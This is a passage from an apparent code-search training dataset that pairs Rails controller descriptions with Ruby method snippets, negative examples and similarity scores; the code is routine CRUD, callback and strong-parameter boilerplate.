"def update\n respond_to do |format|\n if @mess.update(mess_params)\n format.html { redirect_to @mess, notice: 'Mess was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mess.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n modality_respond @modality.update(modality_params), :edit\n end",
"def update\n respond_to do |format|\n if @message.update(message_params)\n format.html { redirect_back_to messages_path, flash: { success: 'Message was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @message = Message.find(params[:id])\n authorize! :update, @message\n respond_to do |format|\n if @message.update_attributes(params[:message])\n format.html { redirect_to @message, notice: t(\"messages.updated\") }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @alert = Alert.find(params[:id])\n\n respond_to do |format|\n if @alert.update_attributes(params[:alert])\n format.html { redirect_to @alert, notice: 'Alert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @alert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n if @respuesta.update_attributes(params[:respuesta])\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n game = Game.find(params[:game_id])\n participant = Participant.find(params[:participant_id])\n respond_to do |format|\n if participant.update(participant_params)\n format.html { redirect_to show_participant_path(game, participant) }\n format.json\n else\n format.html { render :edit }\n format.json\n end\n end\n end"
] |
[
"0.6711888",
"0.6221641",
"0.61094123",
"0.61021626",
"0.60705394",
"0.597629",
"0.59345347",
"0.59345347",
"0.5899788",
"0.5898362",
"0.5882167",
"0.5846475",
"0.58138233",
"0.57970893",
"0.5794527",
"0.5794527",
"0.57880074",
"0.5785946",
"0.57852703",
"0.57831985",
"0.57831985",
"0.57681966",
"0.57681966",
"0.5760721",
"0.5760721",
"0.57579845",
"0.5745841",
"0.573669",
"0.573669",
"0.5731937",
"0.5714587",
"0.5711569",
"0.5707155",
"0.569955",
"0.56851465",
"0.5666552",
"0.5666552",
"0.5664037",
"0.5655262",
"0.56540954",
"0.5645745",
"0.5638166",
"0.5636853",
"0.5633981",
"0.56243217",
"0.56210995",
"0.5619035",
"0.56175977",
"0.56175977",
"0.56155914",
"0.5613305",
"0.56122726",
"0.5601231",
"0.55987203",
"0.55922854",
"0.5588297",
"0.5576018",
"0.5569581",
"0.55685455",
"0.55668586",
"0.5566563",
"0.5566224",
"0.5563436",
"0.5563436",
"0.55573314",
"0.5556031",
"0.55558693",
"0.55529773",
"0.555092",
"0.5550659",
"0.5549991",
"0.55428815",
"0.5539737",
"0.5533367",
"0.5531195",
"0.55302554",
"0.55246854",
"0.55243284",
"0.5523908",
"0.55230135",
"0.5516511",
"0.5516511",
"0.5515433",
"0.5509472",
"0.5508693",
"0.54993385",
"0.5496529",
"0.5492303",
"0.5487489",
"0.5485368",
"0.5485368",
"0.5485368",
"0.54846996",
"0.54844815",
"0.54821277",
"0.54774535",
"0.5477358",
"0.5476014",
"0.5473381",
"0.54706794"
] |
0.690267
|
0
|
DELETE /dialogs/1 DELETE /dialogs/1.json
|
def destroy
@dialog.destroy
respond_to do |format|
format.html { redirect_to dialogs_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @dialog.destroy\n respond_to do |format|\n format.html { redirect_to dialogs_url, notice: 'Dialog was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dialogue.destroy\n respond_to do |format|\n format.html { redirect_to dialogues_url, notice: 'Dialogue was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @bot = Bot.find(params[:id])\n @bot.destroy\n\n respond_to do |format|\n format.html { redirect_to bots_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dialog_turn = DialogTurn.find(params[:id])\n @dialog_turn.destroy\n\n respond_to do |format|\n format.html { redirect_to(dialog_turns_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @v1_message = V1::Message.find(params[:id])\n @v1_message.destroy\n\n head :no_content\n end",
"def destroy\n @dialogue_line = DialogueLine.find(params[:id])\n @dialogue_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(section_room_dialogue_lines_path) }\n format.xml { head :ok }\n end\n end",
"def delete\n @client.post('/api/del_msg', id: get_attribute(:name))\n end",
"def destroy #destroy prompt in db\n @prompt.destroy\n respond_to do |format|\n format.html { redirect_to prompts_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n ruta = \"/actions/#{action_id}\"\n client.delete(ruta)\n end",
"def destroy\n @mensagem = Mensagem.find(params[:id])\n api_client.delete_object(@mensagem.post_id)\n @mensagem.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.js { head :ok }\n end\n end",
"def destroy\n @prompt = Prompt.find(params[:id])\n @prompt.destroy\n\n respond_to do |format|\n format.html { redirect_to prompts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prompt = Prompt.find(params[:id])\n @prompt.destroy\n\n respond_to do |format|\n format.html { redirect_to prompts_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @conversation.destroy\n respond_to do |format|\n format.html { redirect_to conversations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conversation.destroy\n\n head :no_content\n end",
"def destroy\n @conversation.destroy\n\n head :no_content\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @conversation = Conversation.find(params[:id])\n @conversation.destroy\n\n respond_to do |format|\n format.html { redirect_to conversations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @presence = Presence.find(params[:id])\n @presence.destroy\n\n respond_to do |format|\n format.html { redirect_to presences_url }\n format.json { head :no_content }\n end\n end",
"def delete_conversation(id)\n delete(\"conversations/#{id}\")\n end",
"def destroy\n @communication_post.destroy\n respond_to do |format|\n format.html { redirect_to root_path(communication: true) }\n format.json { head :no_content }\n end\n end",
"def destroy\n # delete a specific message\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\r\n @chat.destroy\r\n respond_to do |format|\r\n format.html { redirect_to :back }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete\n item = FormTemplate.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end",
"def destroy\n @verb.destroy\n\n head :no_content\n end",
"def destroy\n user = @presence.user\n @presence.destroy\n respond_to do |format|\n format.html { redirect_to user_presences_url(user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to conversations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_studio_client = MyStudio::Client.find(params[:id])\n @my_studio_client.destroy\n\n respond_to do |format|\n format.html { redirect_to my_studio_clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @prompt = Prompt.find(params[:id])\n @prompt.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_prompts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @message_flow = MessageFlow.find(params[:id])\n @message_flow.destroy\n\n respond_to do |format|\n format.html { redirect_to message_flows_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\r\n @sivic_permissao.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_permissaos_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @compromise = Compromise.find(params[:id])\n @compromise.destroy\n\n head :no_content\n end",
"def destroy\n # delete a specific message\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to messages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @notice_message.destroy\n respond_to do |format|\n format.html { redirect_to notice_messages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prompt.destroy\n respond_to do |format|\n format.html { redirect_to prompts_url, notice: 'Prompt was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_menu.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @message.destroy\n \n respond_to do |format|\n format.html { redirect_to messages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @short_message.destroy\n respond_to do |format|\n format.html { redirect_to short_messages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @auto_message.destroy\n respond_to do |format|\n format.html { redirect_to auto_messages_url, notice: 'Auto message was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_conversation(id)\n @client.raw('delete', \"/content/conversations/#{id}\")\n end",
"def destroy\n @conversation = Conversation.find(params[:id])\n @conversation.destroy\n\n respond_to do |format|\n format.html { redirect_to(conversations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @notice = Notice.find(params[:id])\n project = @notice.project\n @notice.destroy\n\n respond_to do |format|\n format.html { redirect_to project }\n format.json { head :ok }\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @message.destroy\n respond_to do |format|\n format.html { redirect_to messages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @message.destroy\n respond_to do |format|\n format.html { redirect_to messages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @presentacion.destroy\n respond_to do |format|\n msg = { :status => \"ok\", :message => \"Eliminado!\" }\n format.json { render :json => msg }\n end\n end",
"def destroy\n @command.destroy\n respond_to do |format|\n msg = { :status => 'ok', message: 'Deleted Successfully'}\n format.json { render json: msg }\n end\n end",
"def destroy\n @chat.destroy\n respond_to do |format|\n format.html { redirect_to chats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # delete a specific message\n end",
"def destroy\n @bless_message.destroy\n\n render json: {}\n end",
"def destroy\n @alert = Alert.find(params[:id])\n @alert.destroy\n\n respond_to do |format|\n format.html { redirect_to alerts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alert = Alert.find(params[:id])\n @alert.destroy\n\n respond_to do |format|\n format.html { redirect_to alerts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @msg.destroy\n respond_to do |format|\n format.html { redirect_to msgs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @message = Message.find(params[:id])\n @message.destroy\n respond_to do |format|\n format.html { redirect_to noticias_messages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @direct_message.destroy\n \n respond_to do |format|\n format.html { redirect_to DirectMessages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @notify = Notify.find(params[:id])\n @notify.destroy\n\n respond_to do |format|\n format.html { redirect_to notifies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @status_confirmacao_adotando = StatusConfirmacaoAdotando.find(params[:id])\n @status_confirmacao_adotando.destroy\n\n respond_to do |format|\n format.html { redirect_to status_confirmacao_adotandos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @draft = Draft.find(params[:id])\n @draft.destroy\n\n respond_to do |format|\n format.html { redirect_to drafts_url, notice: 'Черновик был успешно удалён' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @guium.destroy\n respond_to do |format|\n format.html { redirect_to guia_url, notice: 'Eliminado exitosamente' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chatcontent = Chatcontent.find(params[:id])\n @chatcontent.destroy\n\n respond_to do |format|\n format.html { redirect_to chatcontents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wait = Wait.find(params[:id])\n @wait.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity_notice.destroy\n respond_to do |format|\n format.html { redirect_to activity_notices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chat.destroy\n# respond_to do |format|\n# format.html { redirect_to chats_url }\n# format.json { head :no_content }\n# end\n end",
"def destroy\n @vecktor_notice = VecktorNotice.find(params[:id])\n @vecktor_notice.destroy\n\n respond_to do |format|\n format.html { redirect_to vecktor_notices_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conversation.destroy\n respond_to do |format|\n format.html { redirect_to conversations_url, notice: 'conversation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@notification = Notification.find(params[:id])\n #@notification.destroy\n\n respond_to do |format|\n format.html { redirect_to notifications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mensaje = Mensaje.find(params[:id])\n @mensaje.destroy\n\n respond_to do |format|\n format.html { redirect_to(mensajes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @noriskmessage = Noriskmessage.find(params[:id])\r\n @noriskmessage.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to noriskmessages_url }\r\n format.json { head :ok }\r\n end\r\n end",
"def destroy\n @chat = Chat.find(params[:id])\n @chat.destroy\n\n respond_to do |format|\n format.html { redirect_to chats_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @message_field = MessageField.find(params[:id])\n @message_field.destroy\n\n respond_to do |format|\n format.html { redirect_to message_fields_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @peer_to_peer_message.destroy\n respond_to do |format|\n format.html { redirect_to peer_to_peer_messages }\n format.json { head :no_content }\n end\n end",
"def destroy\n @command.destroy\n respond_to do |format|\n format.html { redirect_to commands_url, notice: 'La commande a été détruite.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alert = Alert.find(params[:id])\n @alert.destroy\n\n respond_to do |format|\n format.html { redirect_to user_path(current_user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roombot = Roombot.find(params[:id])\n @roombot.destroy\n\n respond_to do |format|\n format.html { redirect_to roombots_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @messagefact.destroy\n respond_to do |format|\n #format.html { redirect_to messagefacts_url, notice: 'Messagefact was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @humanidades2 = Humanidades2.find(params[:id])\n @humanidades2.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades2s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alert.destroy\n respond_to do |format|\n format.html { redirect_to alerts_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to messages_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @message = Message.find(params[:id])\n @message.destroy\n\n respond_to do |format|\n format.html { redirect_to messages_url }\n format.json { head :ok }\n end\n end"
] |
[
"0.7144202",
"0.6957655",
"0.67515385",
"0.67481536",
"0.6690818",
"0.66396296",
"0.6588942",
"0.6586188",
"0.6555473",
"0.6526668",
"0.64984536",
"0.6496319",
"0.6484932",
"0.6484932",
"0.6475393",
"0.6475393",
"0.6475393",
"0.6475393",
"0.6474569",
"0.64654595",
"0.64654595",
"0.6456341",
"0.64474875",
"0.64470685",
"0.6435223",
"0.64246595",
"0.64178765",
"0.64033437",
"0.64016396",
"0.6400487",
"0.6384079",
"0.6384039",
"0.63715893",
"0.63657814",
"0.6354428",
"0.6346833",
"0.63403976",
"0.63387084",
"0.6321131",
"0.63174355",
"0.6315582",
"0.6314127",
"0.6310449",
"0.6310449",
"0.6307172",
"0.630333",
"0.63019055",
"0.63007265",
"0.63003945",
"0.6298245",
"0.62931025",
"0.6291093",
"0.62843436",
"0.62827015",
"0.62784046",
"0.62779266",
"0.62770355",
"0.62770355",
"0.6273696",
"0.62735385",
"0.6272204",
"0.6269794",
"0.62696344",
"0.6269271",
"0.626558",
"0.62654114",
"0.6264471",
"0.62613344",
"0.6259192",
"0.62591815",
"0.6258446",
"0.62576026",
"0.62563926",
"0.6255788",
"0.6254439",
"0.62540454",
"0.625337",
"0.625304",
"0.6250647",
"0.6242848",
"0.624281",
"0.6242793",
"0.62406534",
"0.6239822",
"0.6239822",
"0.6239514",
"0.6239145",
"0.62389815",
"0.6238323",
"0.6237434",
"0.62362266",
"0.62301415",
"0.62279046",
"0.62274784",
"0.6227174",
"0.6223902",
"0.62205493",
"0.6218416",
"0.62168986",
"0.62168986"
] |
0.7411259
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_dialog
@dialog = Dialog.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def dialog_params
params.require(:dialog).permit(:ip, :coordinates, :city)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
